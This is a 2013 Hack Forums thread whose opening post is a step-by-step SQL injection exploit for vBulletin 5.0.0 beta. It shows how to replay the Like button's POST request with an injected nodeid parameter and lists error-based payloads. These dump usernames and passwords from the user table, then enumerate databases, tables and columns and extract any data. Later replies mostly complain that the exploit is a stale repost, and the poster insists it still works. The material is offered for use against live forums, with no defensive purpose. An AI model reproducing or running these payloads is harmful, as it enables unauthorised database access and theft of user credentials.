

Forum:[Hack Forums](#)

Thread: [vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day](#)

allhaxors - August 23, 2013, 1:58 pm

[#1] First of all, make an account to the vBulletin 5 forum,

[#2] After that, go to any topic and open Live HTTP Headers (<https://addons.mozilla.org/en-us/firefox/addon/http-headers/>)

[img]http://imageshack.us/a/img12/305/89268702.png[/img]

[#3] After that click the Like button, you will receive almost the same result as me. Go to the first POST record as the picture below and click Replay button,

[img]http://imageshack.us/a/img707/9990/68621087.png[/img]

[#4] Then, on Send POST Content use this:

Code nodeid=70) and(select 1 from(select count(*),concat((select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338

[img]http://imageshack.us/a/img42/1590/26447606.png[/img]

//Note that to keep the noteid value as it was as default in the POST Content. Instead you'll get invalid noteid error.

The following SQLi command will fetch out the first record from user table(username/password).

[#Other SQLi Syntaxes]

```
+-----+
|Version():
+-----+
Code nodeid=70) and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+-----+
+-----+
```

+-----+
-----+
|User():

+-----+
-----+

+-----+
-----+
Code nodeid=70) and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+-----+
-----+

+-----+
-----+
|Database():

+-----+
-----+

+-----+
-----+
Code nodeid=70) and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+-----+
-----+

+-----+
-----+
|Database Print:

+-----+
-----+

+-----+
-----+
Code nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata
LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) AND (1338=1338
+-----+
-----+

+-----+
-----+

|Table Count:

+-----+
-----+

+-----+
-----+

Code nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT
concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information\_schema`.tables WHERE
table_schema=0xHEXCODEOFDATABASE)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338

+-----+
-----+

+-----+
-----+

|Print Tables:

+-----+
-----+

+-----+
-----+

Code nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where
table_schema=0xHEXCODEOFDATABASE LIMIT N,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338

+-----+
-----+

+-----+
-----+

|Columns of selected table:

+-----+
-----+

+-----+
-----+

Code nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT
concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information\_schema`.columns WHERE
table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name))

from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338+-----+
|Fetch Out Data:

+-----
Code nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT
concat(0x7e,0x27,column1,0x27,0x7e,column2,0x27,0x 7e) FROM ANY_TABLE LIMIT N,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by
x)a) AND (1338=1338

==[That`s it!
==[Thanks, 0x0A!
==[Romania

LeZr [Exploit'z - Database] [2013-04-28]

A_Normal_Username - August 23, 2013, 2:32 pm

Yes hello:

<http://1337day.com/>

Could you please go back to there?

Okey... - August 23, 2013, 2:34 pm

This is old as fuck, saw this on another forum Months ago

BeggFoMercy - August 23, 2013, 6:20 pm

To be honest , This is the worst thread I've ever seen on this board , What is the point of copy/pasting some one else's Oday exploit , And claiming that it's yours without giving credits/writing resources of what you brought this from .

MicroCoil - August 23, 2013, 6:27 pm

old as fuck... seriously. dude your 1 yer behind on the times

133720 - August 23, 2013, 9:33 pm

Thanks for sharing.

I want to test this vulnerable.

allhaxors - August 24, 2013, 2:02 am

yeah bro old but working...

i m not say that made by me